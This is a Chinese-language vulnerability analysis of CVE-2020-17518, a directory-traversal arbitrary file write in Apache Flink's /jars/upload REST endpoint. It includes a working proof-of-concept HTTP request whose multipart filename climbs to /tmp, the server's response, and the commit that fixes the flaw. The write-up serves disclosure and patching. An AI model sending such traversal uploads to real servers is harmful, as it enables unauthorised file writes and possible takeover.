Apache-Flink-任意文件写入漏洞(CVE-2020-17518)

简介 Apache Flink

参考官方文档 https://flink.apache.org/

Apache Flink® — Stateful Computations over Data Streams

Apache Flink是一个框架和分布式处理引擎，用于对无边界和有边界的数据流进行有状态的计算。

Flink被设计成可在所有常见的集群环境中运行，在任何规模下以"内存速度"执行计算。

REST API

参考官方文档 https://ci.apache.org/projects/flink/flink-docs-stable/ops/rest_api.html#jobmanager-logs

Flink 具有监控 API，可用于查询"正在运行的jobs" 和 "最近完成的jobs" 的状态和统计信息。该监控 API 被用于 Flink 自己的dashboard，同时也可用于自定义监控工具。

该监控 API 是 REST-ful API, 即接受 HTTP请求，并响应JSON格式的数据。

使用REST API

监控 API 中有一个API是 /jars/upload

作用是: Uploads a jar to the cluster. The jar must be sent as multi-part data. Make sure that the "Content-Type" header is set to application/x-java-archive, as some http libraries do not add the header by default.

可使用curl上传jar文件 curl -X POST -H "Expect:" -F "jarfile=@path/to/flink-job.jar" http://hostname:port/jars/upload

漏洞信息

参考 : https://lists.apache.org/thread.html/rb43cd476419a48be89c1339b527a18116f23eec5b6df2b2acbfef261%40%3Cdev.flink.apache.org%3E

漏洞名称: CVE-2020-17518: Apache Flink directory traversal attack: remote file writing through the REST API

影响版本: 1.5.1 to 1.11.2

漏洞描述: Flink 从1.5.1版本引入了一个REST handler，攻击者可通过REST API发送修改了的HTTP请求，将上传后的文件写入到Flink的本地文件系统上的任意位置。

修复方案: 升级到1.11.3或1.12.0

The issue was fixed in commit a5264a6f41524afe8ceadf1d8ddc8c80f323ebc4 from apache/flink:master.

Credits: This issue was discovered by 0rich1 of Ant Security FG Lab

漏洞验证

Request

POST /jars/upload HTTP/1.1
Host: 10.1.1.3:8081
Accept: */*
Content-Length: 240
Content-Type: multipart/form-data; boundary=------------------------23ef1e5684ec1135
Connection: close

--------------------------23ef1e5684ec1135
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/test.txt"
Content-Type: application/octet-stream

#test_content

--------------------------23ef1e5684ec1135--

Response

HTTP/1.1 400 Bad Request
Content-Type: application/json; charset=UTF-8
Access-Control-Allow-Origin: *
content-length: 6017

{"errors":["org.apache.flink.runtime.rest.handler.RestHandlerException: Exactly 1 file must be sent, received 0.\n\tat org.apache.flink.runtime.webmonitor.handlers.JarUploadHandler.handleRequest(JarUploadHandler.java:76)\n\tat org.apache.flink.runtime.rest.handler.AbstractRestHandler.respondToRequest(AbstractRestHandler.java:73)\n\tat org.apache.flink.runtime.rest.handler.AbstractHandler.respondAsLeader(AbstractHandler.java:178)\n\tat org.apache.flink.runtime.rest.handler.LeaderRetrievalHandler.lambda$channelRead0$0(LeaderRetrievalHandler.java:81)\n\tat java.util.Optional.ifPresent(Optional.java:159)\n\tat org.apache.flink.util.OptionalConsumer.ifPresent(OptionalConsumer.java:46)\n\tat org.apache.flink.runtime.rest.handler.LeaderRetrievalHandler.channelRead0(LeaderRetrievalHandler.java:78)\n\tat org.apache.flink.runtime.rest.handler.LeaderRetrievalHandler.channelRead0(LeaderRetrievalHandler.java:49)\n\tat org.apache.flink.shaded.netty4.io.netty.channel.SimpleChannelInboundHandler.channelRead(SimpleChannelInboundHandler.java:105)\n\tat org.apache.flink.shaded.netty4.io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:374)\n\tat org.apache.flink.shaded.netty4.io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:360)\n\tat org.apache.flink.shaded.netty4.io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:352)\n\tat org.apache.flink.runtime.rest.handler.router.RouterHandler.routed(RouterHandler.java:110)\n\tat org.apache.flink.runtime.rest.handler.router.RouterHandler.channelRead0(RouterHandler.java:89)\n\tat org.apache.flink.runtime.rest.handler.router.RouterHandler.channelRead0(RouterHandler.java:54)\n\tat org.apache.flink.shaded.netty4.io.netty.channel.SimpleChannelInboundHandler.channelRead(SimpleChannelInboundHandler.java:105)\n\tat org.apache.flink.shaded.netty4.io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:374)\n\tat org.apache.flink.shaded.netty4.io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:360)\n\tat org.apache.flink.shaded.netty4.io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:352)\n\tat org.apache.flink.shaded.netty4.io.netty.handler.codec.MessageToMessageDecoder.channelRead(MessageToMessageDecoder.java:102)\n\tat org.apache.flink.shaded.netty4.io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:374)\n\tat org.apache.flink.shaded.netty4.io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:360)\n\tat org.apache.flink.shaded.netty4.io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:352)\n\tat org.apache.flink.runtime.rest.FileUploadHandler.channelRead0(FileUploadHandler.java:169)\n\tat org.apache.flink.runtime.rest.FileUploadHandler.channelRead0(FileUploadHandler.java:68)\n\tat org.apache.flink.shaded.netty4.io.netty.channel.SimpleChannelInboundHandler.channelRead(SimpleChannelInboundHandler.java:105)\n\tat org.apache.flink.shaded.netty4.io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:374)\n\tat org.apache.flink.shaded.netty4.io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:360)\n\tat org.apache.flink.shaded.netty4.io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:352)\n\tat org.apache.flink.shaded.netty4.io.netty.channel.CombinedChannelDuplexHandler$DelegatingChannelHandlerContext.fireChannelRead(CombinedChannelDuplexHandler.java:438)\n\tat org.apache.flink.shaded.netty4.io.netty.handler.codec.ByteToMessageDecoder.fireChannelRead(ByteToMessageDecoder.java:328)\n\tat org.apache.flink.shaded.netty4.io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:302)\n\tat org.apache.flink.shaded.netty4.io.netty.channel.CombinedChannelDuplexHandler.channelRead(CombinedChannelDuplexHandler.java:253)\n\tat org.apache.flink.shaded.netty4.io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:374)\n\tat org.apache.flink.shaded.netty4.io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:360)\n\tat org.apache.flink.shaded.netty4.io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:352)\n\tat org.apache.flink.shaded.netty4.io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1421)\n\tat org.apache.flink.shaded.netty4.io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:374)\n\tat org.apache.flink.shaded.netty4.io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:360)\n\tat org.apache.flink.shaded.netty4.io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:930)\n\tat org.apache.flink.shaded.netty4.io.netty.channel.nio.AbstractNioByteChannel$NioByteUnsafe.read(AbstractNioByteChannel.java:163)\n\tat org.apache.flink.shaded.netty4.io.netty.channel.nio.NioEventLoop.processSelectedKey(NioEventLoop.java:697)\n\tat org.apache.flink.shaded.netty4.io.netty.channel.nio.NioEventLoop.processSelectedKeysOptimized(NioEventLoop.java:632)\n\tat org.apache.flink.shaded.netty4.io.netty.channel.nio.NioEventLoop.processSelectedKeys(NioEventLoop.java:549)\n\tat org.apache.flink.shaded.netty4.io.netty.channel.nio.NioEventLoop.run(NioEventLoop.java:511)\n\tat org.apache.flink.shaded.netty4.io.netty.util.concurrent.SingleThreadEventExecutor$5.run(SingleThreadEventExecutor.java:918)\n\tat org.apache.flink.shaded.netty4.io.netty.util.internal.ThreadExecutorMap$2.run(ThreadExecutorMap.java:74)\n\tat java.lang.Thread.run(Thread.java:745)\n"]}

实际上内容为#test_content的文件test.txt 已经上传成功了。

漏洞分析

具体diff参考 https://github.com/apache/flink/commit/a5264a6f41524afe8ceadf1d8ddc8c80f323ebc4#diff-7920624ff6651ac9897c79309c0a94073a4e7afb111e926c8341492f3a730051

文件路径: flink-runtime/src/main/java/org/apache/flink/runtime/rest/FileUploadHandler.java

该文件的代码变更:

// 关键的变更(漏洞修复):  去掉了第1行 ，新增了第2行
final Path dest = currentUploadDir.resolve(fileUpload.getFilename());

final Path dest = currentUploadDir.resolve(new File(fileUpload.getFilename()).getName());

使用File类，可以去掉path信息，是个简单的修复办法。

修复之后的代码可见 https://github.com/apache/flink/blob/a5264a6f41524afe8ceadf1d8ddc8c80f323ebc4/flink-runtime/src/main/java/org/apache/flink/runtime/rest/FileUploadHandler.java#L144

...
if (data.getHttpDataType() == InterfaceHttpData.HttpDataType.FileUpload) {
                        final DiskFileUpload fileUpload = (DiskFileUpload) data;
                        checkState(fileUpload.isCompleted());

                        // wrapping around another File instantiation is a simple way to remove any path information - we're
                        // solely interested in the filename
                        final Path dest = currentUploadDir.resolve(new File(fileUpload.getFilename()).getName());
                        fileUpload.renameTo(dest.toFile());
                        LOG.trace("Upload of file {} into destination {} complete.", fileUpload.getFilename(), dest.toString());
                    }...

总结

CVE-2020-17518: Apache Flink directory traversal attack: remote file writing through the REST API

对于受影响版本(1.5.1 to 1.11.2)的Apache Flink，可以通过发送HTTP请求到REST API /jars/upload, 实现任意文件写入。